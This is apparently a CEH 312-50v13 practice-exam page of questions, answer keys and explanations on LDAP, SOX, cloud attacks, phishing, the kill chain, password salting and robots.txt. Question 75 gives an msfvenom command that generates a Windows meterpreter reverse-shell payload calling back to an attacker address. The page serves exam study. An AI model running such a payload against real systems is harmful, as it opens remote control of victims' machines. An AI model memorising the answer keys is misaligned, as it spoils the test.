which of the following protocols can be used to secure an LDAP service against anonymous queries?
Show answerHide answer
Correct answer: DNTLM
Explanation
Explanation:
NTLM (NT LAN Manager) authentication can be used to secure an LDAP service against anonymous queries — it requires clients to authenticate before querying the directory. When LDAP is bound to Windows/Active Directory, NTLM (or Kerberos) enforces credentials, preventing unauthenticated (anonymous) binds and reads. This is commonly configured via SASL/NTLM bind on the LDAP server.
Why the other options are incorrect:
A (SSO) — Single Sign-On is an authentication framework/concept, not a protocol that secures LDAP binds; it doesn't itself block anonymous LDAP queries.
B (RADIUS) — A AAA protocol for network access (VPN, Wi-Fi, dial-up), not an LDAP directory authentication mechanism.
C (WPA) — A wireless LAN security protocol; unrelated to LDAP.
References:
EC-Council CEHv13, Module 04: Enumeration (LDAP enumeration and securing LDAP against anonymous binds); RFC 4513 (LDAP Authentication Methods and Security Mechanisms); Microsoft documentation — LDAP signing and NTLM/Kerberos authentication for AD LDAP.
Question 72Choose 1
Widespread fraud ac Enron. WorldCom, and Tyco led to the creation of a law that was designed to improve
the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that
provide financial services to some organizations and came into effect in 2002. This law is known by what
acronym?
Show answerHide answer
Correct answer: CSOX
Explanation
Explanation:
The Sarbanes-Oxley Act (SOX) was enacted in 2002 in response to major corporate and accounting scandals — Enron, WorldCom, and Tyco — to improve the accuracy and accountability of corporate financial disclosures. It imposes requirements on public companies and on accounting firms and third parties providing financial services, including internal controls and audit accountability. That matches the scenario exactly.
Why the other options are incorrect:
A (FedRAMP) — A U.S. government cloud-security authorization program, not a 2002 corporate-disclosure law.
B (PCI-DSS) — A payment card industry data-security standard, not legislation, and unrelated to corporate financial reporting.
D (HIPAA) — A 1996 U.S. law protecting health information privacy/security, not corporate financial disclosures.
References:
EC-Council CEHv13, Module 01: Introduction to Ethical Hacking (laws, standards, and compliance — SOX, HIPAA, PCI-DSS, FedRAMP); Sarbanes-Oxley Act of 2002 (Pub. L. 107-204); SEC guidance on SOX compliance.
Question 73Choose 1
Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the targets MSP
provider by sending spear-phishing emails and distributed custom-made malware to compromise user
accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with
her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization. Which of the following cloud attacks did Alice perform in
the above scenario?
Show answerHide answer
Correct answer: ACloud hopper attack
Explanation
Explanation:
A cloud hopper attack targets a Managed Service Provider (MSP) to gain access to that provider's customers. The attacker sends spear-phishing emails, deploys custom malware, compromises MSP user accounts, gains remote access to cloud services, then accesses and exfiltrates customer data (compressing and storing it in the MSP environment) and uses it to launch further attacks on the target organization. Alice's steps — infiltrating the MSP and pivoting to the MSP's customers — exactly describe the cloud hopper attack (named after the 2016 "Cloud Hopper" APT campaign).
Why the other options are incorrect:
B (Cloud cryptojacking) — Hijacking cloud resources to mine cryptocurrency; no mining occurs here.
C (Cloudborne attack) — A firmware/BMC-level attack in cloud environments (exploiting Baseboard Management Controller to persist across tenants); not the MSP-pivoting chain described.
D (Man-in-the-cloud (MITC) attack) — Intercepting/synchronizing a victim's cloud file-sync traffic (e.g., hijacking Dropbox/OneDrive sync tokens) to steal data; it does not involve compromising an MSP to reach its customers.
In this attack, a victim receives an e-mail claiming from PayPal stating that their account has been disabled
and confirmation is required before activation. The attackers then scam to collect not one but two credit card
numbers, ATM PIN number and other personal details. Ignorant users usually fall prey to this scam.
Which of the following statement is incorrect related to this attack?
Show answerHide answer
Correct answer: DAntivirus, anti-spyware, and firewall software can very easily detect these type of attacks
Explanation
Explanation:
The scenario is a classic phishing attack (PayPal account-disabled pretext) harvesting credit card numbers, ATM PINs, and personal details. The question asks which statement is incorrect. Phishing is fundamentally a social engineering attack — it has no malicious payload, exploits and fake websites often look legitimate, and the victim voluntarily hands over data. Antivirus, anti-spyware, and firewalls cannot "very easily" detect these attacks; they may block known malicious links or sites, but well-crafted phishing emails and credential-harvesting pages routinely bypass them. Detection depends mainly on user awareness and caution. Therefore, D overstates technical defenses and is false.
Why the other options are correct statements (and thus not the answer):
A (Don't reply to emails/popups asking for personal or financial info) — Valid anti-phishing advice.
B (Don't trust phone numbers in emails/popups) — Valid; attackers use fake support numbers (vishing/callback phishing).
C (Review credit card and bank statements regularly) — Valid; helps detect fraud early.
E (Don't send card numbers/personal info via email) — Valid; email is not a secure channel for such data.
References:
EC-Council CEHv13, Module 08: Social Engineering (phishing, its human-factor nature, and why technical controls alone are insufficient); CISA — "Avoiding Social Engineering and Phishing Attacks"; NIST SP 800-50/800-53 AT controls (awareness training as primary defense).
Question 75Choose 1
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?
Show answerHide answer
Correct answer: Amsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
Explanation
Explanation:
For a reverse TCP payload, the target connects back to the attacker, so the attacker must specify their own listening address using LHOST (Local Host = attacker's IP) and LPORT (the port the handler listens on). msfvenom syntax is `-p LHOST= LPORT= -f `. Option A uses the correct LHOST/LPORT variables and outputs C shellcode (`-f c`).
Why the other options are incorrect:
B — Uses RHOST instead of LHOST. RHOST (remote host = target) is not the correct variable for reverse payloads in msfvenom; the attacker's callback address is set with LHOST, so this fails.
C — Uses correct LHOST/LPORT, but the question asks for shellcode; `-f exe` produces a standalone Windows executable, not shellcode. (It's a valid command for an executable, but not the answer to "generate shellcode.")
D — Wrong on both counts: uses RHOST (incorrect variable) and `-f exe` (executable, not shellcode).
References:
EC-Council CEHv13, Module 06: System Hacking / Module 07: Malware Threats (MSFvenom payload generation); Rapid7 Metasploit documentation — "msfvenom" and "How to use a reverse shell" (LHOST/LPORT); Offensive Security Metasploit Unleashed — payload generation syntax.
Question 76Choose 1
You are a penetration tester working to test the user awareness of the employees of the client xyz. You
harvested two employees' emails from some public sources and are creating a client-side backdoor to send it
to the employees via email. Which stage of the cyber kill chain are you at?
Show answerHide answer
Correct answer: CWeaponization
Explanation
Explanation:
In the Cyber Kill Chain (Lockheed Martin), Weaponization is the stage where the attacker couples an exploit/payload with a deliverable vector — e.g., creating a client-side backdoor and embedding it into a malicious document or executable intended to be emailed to victims. Having already done reconnaissance (harvesting the employees' emails), the tester is now building the weapon (the backdoored payload) and preparing delivery — which is exactly the weaponization phase.
Why the other options are incorrect:
A (Reconnaissance) — This was the earlier phase of harvesting emails from public sources; it precedes weaponization and is already complete.
B (Command and control) — This comes much later, after exploitation and installation, when the compromised host communicates with the attacker's C2 server. No compromised host exists yet.
D (Exploitation) — This is when the crafted weapon is actually delivered and triggers on the target; the backdoor hasn't been sent or executed yet — it's only being created.
References:
EC-Council CEHv13, Module 01/Module 07: Hacking Concepts and Malware Threats (Cyber Kill Chain stages — Reconnaissance, Weaponization, Delivery, Exploitation, Installation, C2, Actions on Objectives); Lockheed Martin Cyber Kill Chain (lockheedmartin.com).
Question 77Choose 1
Password cracking programs reverse the hashing process to recover passwords. (True/False.)
Show answerHide answer
Correct answer: BFalse
Explanation
Explanation:
Password cracking programs cannot reverse the hashing process. Cryptographic hash functions (e.g., MD5, SHA-1, SHA-256) are one-way functions — they take input and produce a fixed-length digest, but there is no mathematical inverse that recovers the original password from the hash. Instead, cracking tools work forward: they take candidate passwords (from dictionaries, rules, brute-force masks, or rainbow tables), hash each candidate, and compare the resulting hash to the target hash. When the two match, the candidate is the password. This is why "cracking" a hash is really guessing and verifying, not decrypting.
Why the other option is incorrect:
A (True) — This is the common misconception. Hashing is not encryption; there is no key and no decryption routine. Tools like Hashcat and John the Ripper compute hashes of guesses and compare — they never invert the hash.
References:
EC-Council CEHv13, Module 06: System Hacking (password cracking concepts — hashing is one-way; dictionary, brute-force, rule-based, and rainbow-table attacks); NIST SP 800-108/FIPS 180-4 (secure hash functions are one-way); Hashcat and John the Ripper documentation (candidate generation and hash comparison methodology).
Question 78Choose 1
John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory
services. He used an automated tool to anonymously query the IDAP service for sensitive information such as
usernames. addresses, departmental details, and server names to launch further attacks on the target
organization.
What is the tool employed by John to gather information from the IDAP service?
Show answerHide answer
Correct answer: Ajxplorer
Explanation
Explanation:
JXplorer is a Java-based, cross-platform LDAP browser and editor used to connect to directory services such as Active Directory and OpenLDAP. When a directory server permits anonymous binds, JXplorer can query it without credentials and enumerate directory entries — usernames, addresses, departmental details, and server names — exactly the information John harvested to plan further attacks. It supports browsing the Directory Information Tree (DIT), running LDAP filters, and exporting results, making it a standard tool for LDAP enumeration in ethical hacking.
Why the other options are incorrect:
B (Zabasearch) — A people-search website that aggregates public records (names, addresses, phone numbers). It is an OSINT/people-search resource, not an LDAP client, and cannot query a directory service.
C (EarthExplorer) — A USGS portal for satellite imagery and geospatial datasets. It has no relationship to directory services or LDAP enumeration.
D (Ike-scan) — A tool for discovering and fingerprinting IPsec VPN endpoints using the IKE protocol. It scans network gateways, not LDAP directories.
References:
EC-Council CEHv13 Official Courseware, Module 04: Enumeration — "LDAP Enumeration" (tools: JXplorer, LDAP Admin, ldapsearch, AD Explorer).
Question 79Choose 1
Ethical backer jane Doe is attempting to crack the password of the head of the it department of ABC
company. She Is utilizing a rainbow table and notices upon entering a password that extra characters are
added to the password after submitting. What countermeasure is the company using to protect against rainbow
tables?
Show answerHide answer
Correct answer: BPassword salting
Explanation
Explanation:
Salting adds random characters (a salt) to a password before hashing, so the stored hash is not the hash of the bare password. Jane notices "extra characters" being added after submitting the password — that's the salt being appended/prepended before hashing. Salting defeats rainbow tables because precomputed tables are built for unsalted passwords; a unique salt per user forces the attacker to rebuild tables for every salt, making precomputation useless. It also ensures identical passwords produce different hashes.
Why the other options are incorrect:
A (Password key hashing) — Not a standard countermeasure term; keyed hashing (HMAC) is a message-authentication construct, not the mechanism that renders rainbow tables ineffective by adding per-password randomness.
C (Password hashing) — Plain hashing alone does not stop rainbow tables; unsalted hashes can be looked up in precomputed tables. Salting is the added protection.
D (Account lockout) — Throttles online guessing after failed attempts; it does nothing against offline rainbow-table attacks on stolen hashes.
References:
EC-Council CEHv13, Module 06: System Hacking (password cracking countermeasures — salting vs. rainbow tables); NIST SP 800-63B (salting and iterated hashing of stored passwords); OWASP Password Storage Cheat Sheet (unique salt per password defeats rainbow tables).
Question 80Choose 1
Which file is a rich target to discover the structure of a website during web-server footprinting?
Show answerHide answer
Correct answer: BRobots.txt
Explanation
Explanation:
Robots.txt is a plain-text file placed at the web root (`https://example.com/robots.txt`) that instructs search-engine crawlers which paths they may or may not access, using `Disallow` and `Allow` directives. Because administrators use it to hide directories and files from crawlers, it frequently reveals the site's internal structure — admin panels, backup folders, staging directories, upload paths, and internal pages. During web-server footprinting, attackers read robots.txt to enumerate these hidden paths and map the site's layout, making it a rich reconnaissance target. It may also disclose sitemap locations and crawler behavior.
Why the other options are incorrect:
A (Document root) — This is the base directory on the server that holds the website's files; it is a filesystem location, not a readable file that discloses path structure to an external tester.
C (domain.txt) — Not a standard or conventional web file; no recognized footprinting value exists for it.
D (index.html) — The default landing page of a website. It presents content to visitors but does not enumerate hidden directories or restricted paths the way robots.txt does.
References:
EC-Council CEHv13 Official Courseware, Module 02: Footprinting and Reconnaissance — "Web Server Footprinting" and analyzing robots.txt for information leakage.
Full mock exam
Sit the 312-50v13 exam before exam day
Full-length mocks with the same number of questions and the same time limit as the real 312-50v13 exam. Every attempt draws a new set of questions from the full bank, so you can keep going until you pass comfortably.